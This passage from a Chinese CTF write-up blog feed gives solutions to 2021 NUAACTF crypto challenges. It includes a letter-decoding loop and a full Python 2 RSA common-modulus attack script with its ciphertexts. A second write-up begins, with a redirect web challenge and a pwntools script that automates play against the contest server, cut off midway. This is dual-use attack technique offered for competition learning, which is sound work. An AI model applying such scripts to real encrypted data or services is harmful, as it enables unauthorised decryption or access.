  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/04473e/2021NUAACTF_reverse_warmup_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="795" height="574"
/>
</p>
<p>把输出的最后那个字符改成}就好了，不知道为啥这样，exp明明没问题</p>
<h2 id="crypto">crypto<a class="anchor" href="#crypto">#</a></h2>
<h3 id="checkin">checkin<a class="anchor" href="#checkin">#</a></h3>
<p>简单写个脚本</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="n">d</span><span class="o">=</span><span class="s1">&#39;oclz</span><span class="si">{loovyd_vb_l_bvnucd_hqpumj}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">d</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">if</span> <span class="n">i</span>  <span class="ow">in</span> <span class="s2">&#34;</span><span class="si">{}</span><span class="s2">&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">continue</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">            <span class="k">if</span> <span class="p">((</span><span class="n">j</span><span class="o">*</span><span class="mi">11</span><span class="p">)</span><span class="o">%</span><span class="mi">26</span><span class="p">)</span><span class="o">==</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">i</span><span class="p">)</span><span class="o">-</span><span class="mi">97</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">                    <span class="n">e</span><span class="o">=</span><span class="n">e</span><span class="o">+</span><span class="nb">chr</span><span class="p">(</span><span class="mi">96</span><span class="o">+</span><span class="n">j</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">                    <span class="k">break</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/assets/img/blog_images/2021NUAACTF_crypto_checkin_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async"
/>

最后结果加上下划线</p>
<h3 id="easyrsa">easyRSA<a class="anchor" href="#easyrsa">#</a></h3>
<p>先提取c1、c2</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="n">c2</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;flag.enc2&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">c1</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;flag.enc1&#39;</span><span class="p">,</span> <span class="s1">&#39;rb&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">hex</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">c1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">c2</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>共模攻击网上只找到了一个python2的脚本，</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">libnum</span> <span class="kn">import</span> <span class="n">n2s</span><span class="p">,</span><span class="n">s2n</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">gmpy2</span> <span class="kn">import</span> <span class="n">invert</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">def</span> <span class="nf">egcd</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="k">if</span> <span class="n">a</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="n">g</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">x</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">b</span> <span class="o">%</span> <span class="n">a</span><span class="p">,</span> <span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">return</span> <span class="p">(</span><span class="n">g</span><span class="p">,</span> <span class="n">x</span> <span class="o">-</span> <span class="p">(</span><span class="n">b</span> <span class="o">//</span> <span class="n">a</span><span class="p">)</span> <span class="o">*</span> <span class="n">y</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">n</span> <span class="o">=</span> <span class="mh">0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929</span><span class="n">L</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="n">c1</span> <span class="o">=</span> <span class="mi">409050138400231971554294088177137255457866075540394361465618420085942037334914972271553348781734546381272987423855027216175678797436131073306888763180501523905135583905144901381224572922542735812959826069495112995911282269377230245515683164143316763758642080370867274365360647518283349684822272605576874844625387807047876206532634507258565110299247417968586498427727688356287596783690957837504438650897148190345700044861267114786057049491164836631033845216983588558199652913012590435836646957168387808248342739079479547784004511726635639407815336376908051269831834833967007931321906512831272657668494512124731674031937509111585885992978363095964860952405173714000880231608814695517820595229454266690556749667796735461828114590568954658520700475934939183919597602772428393159957171678913035977611490511885932486154785287709132255326686398261542844030065556598666191350007752712425713619749771672365637485154754564779267050928584728661807027994863116745339833084769533981399300503220638563466169390183736267153617583845250415885823024980144631079997094009230377992595577328633292390530018606442243369688905175147209020920954422003555782869268678894916106413862664953146515732785804502660407314901808581405034432308726147933849979689989</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="n">c2</span> <span class="o">=</span> <span class="mi">660786051824910230873884600744959030265388429192727951166721113879854464522389325739802703310913732902833778034401632628938144275110259033918655077691853918758634982899427693594671785857857909036915654998761013827868199342737749405352507276436866364180154665315956829382533710951839019853169966694154970158966072113917267296101513243808003273019100867933714599898053661451818477001562112853209154906322205083636027498233807131522283087979547271774312067398759611022191882371123084261761098923994873110788704960182273817371315264655632343946622563006808101322364265578490109714246148052618988958628592753911496921563155003551926547472410642201974274781280633708636309449501619866376422440041537758514811836133804597783256003504933767151921016752120604258580059668650713822253122650687275054081288622996628277268146723350191531420962242602380839728712825405572549099787290957348706683963946075215806340393267714297975946671488782713260980129229158285210722045502442378445134853897763065681974592818004420357542042894544487694477937617156099760573978759048442186633017206146993595028297257148566673402976005517349438948032707348011387517929999285636559431700923275025083662201127580201286747957827301089492530820945594666308738557238429</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="n">e1</span> <span class="o">=</span> <span class="mi">17</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="n">e2</span> <span class="o">=</span> <span class="mi">65537</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="n">s</span> <span class="o">=</span> <span class="n">egcd</span><span class="p">(</span><span class="n">e1</span><span class="p">,</span> <span class="n">e2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">  <span class="n">s1</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="n">s2</span> <span class="o">=</span> <span class="n">s</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">  <span class="k">if</span> <span class="n">s1</span><span class="o">&lt;</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">s1</span> <span class="o">=</span> <span class="o">-</span> <span class="n">s1</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">c1</span> <span class="o">=</span> <span class="n">invert</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">  <span class="k">elif</span> <span class="n">s2</span><span class="o">&lt;</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">    <span class="n">s2</span> <span class="o">=</span> <span class="o">-</span> <span class="n">s2</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="n">c2</span> <span class="o">=</span> <span class="n">invert</span><span class="p">(</span><span class="n">c2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">  <span class="n">m</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">c1</span><span class="p">,</span><span class="n">s1</span><span class="p">,</span><span class="n">n</span><span class="p">)</span><span class="o">*</span><span class="nb">pow</span><span class="p">(</span><span class="n">c2</span><span class="p">,</span><span class="n">s2</span><span class="p">,</span><span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="n">n</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">  <span class="nb">print</span> <span class="n">n2s</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">  <span class="n">main</span><span class="p">()</span>  </span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="签到">签到<a class="anchor" href="#签到">#</a></h2>
<p>腾讯会议
flag{we1c0m_t0_asur!ctf}</p>
]]></content:encoded><h:img src="https://h4cker.zip/04473e/2021NUAACTF.webp"/><enclosure url="https://h4cker.zip/04473e/2021NUAACTF.webp"/><category>线上赛</category></item><item><title>首届安徽省“追日杯”大学生网络安全挑战赛WriteUp</title><link>https://h4cker.zip/aeeb78/</link><pubDate>Sun, 05 Dec 2021 17:04:40 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/aeeb78/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>第六，应该能混个三等奖</p>
<p><img
  src="/aeeb78/first_zhuiribei_score.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="729" height="683"
/>
</p>
<p>题量很大，打的人少，很多题都是0解，Reverse全0解，其他方向大都是个位数，综合渗透那里，题特别多，做了一个第一题就没做了，也挺难的，但是分还很低。怪怪的。</p>
<h3 id="web">Web<a class="anchor" href="#web">#</a></h3>
<h4 id="gotofly">gotofly<a class="anchor" href="#gotofly">#</a></h4>
<p><img
  src="/aeeb78/first_zhuiribei_web_gotofly_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="429" height="78"
/>
</p>
<p>题目一直重定向，即使到了flag页面，立即刷新也看不见，BP直接抓包，一页一页翻就行了</p>
<p><img
  src="/aeeb78/first_zhuiribei_web_gotofly_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="520" height="250"
/>
</p>
<h3 id="misc">Misc<a class="anchor" href="#misc">#</a></h3>
<h4 id="chess">chess<a class="anchor" href="#chess">#</a></h4>
<p>半自动化脚本</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="c1"># -- coding=utf8 --</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s2">&#34;ctf.zrb.edisec.net&#34;</span><span class="p">,</span><span class="mi">33741</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">win_data</span><span class="o">=</span><span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">	<span class="n">n</span><span class="o">=</span><span class="mi">0</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">	<span class="n">l</span><span class="o">=</span><span class="p">[[</span><span class="mi">0</span><span class="p">]</span><span class="o">*</span><span class="mi">3</span><span class="p">]</span><span class="o">*</span><span class="mi">3</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">	<span class="k">while</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">		<span class="k">if</span> <span class="s1">&#39;499/500&#39;</span> <span class="ow">in</span> <span class="n">win_data</span> <span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">			<span class="n">p</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">		<span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">			<span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s1">&#39;x/y:&gt;&#39;</span><span class="p">,</span><span class="s1">&#39;2/2&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">			<span class="n">ob</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;computer:&gt;&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">			<span class="c1">#ob=io.recvuntil(&#39;player:&gt;&#39;,timeout=2)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">			<span class="c1">#ob=io.recvuntil(str(&#39;player:&gt;&#39;,timeout=2))</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">			<span class="c1">#ob=io.recvuntil(str(&#39;player:&gt;&#39;,timeout=2)).strip()</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">			<span class="n">ob</span><span class="o">=</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">&#39;player:&gt;&#39;</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">			<span class="n">ob</span><span class="o">=</span><span class="n">ob</span><span class="o">.</span><span class="n">strip</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">			<span class="c1">#ob=ob.split(&#39;/n&#39;)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">			<span class="n">ob</span><span class="o">=</span><span class="n">ob</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">			<span class="c1">#ob=ob.split(&#39;|&#39;)</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">			<span class="n">ob1</span><span class="o">=</span><span class="n">ob</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;|&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">			<span class="n">ob2</span><span class="o">=</span><span class="n">ob</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s1">&#39;|&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">			<span class="k">if</span> <span class="s1">&#39;#&#39;</span> <span class="ow">in</span> <span class="n">ob1</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="ow">or</span> <span class="s1">&#39;#&#39;</span> <span class="ow">in</span> <span class="n">ob2</span><span class="p">[</span><span class="mi">2</span><span class="p">]:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">				<span class="n">io</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;1/2</span><span class="se">\n</span><span class="s1">&#39;</span><span class="p">)</span>
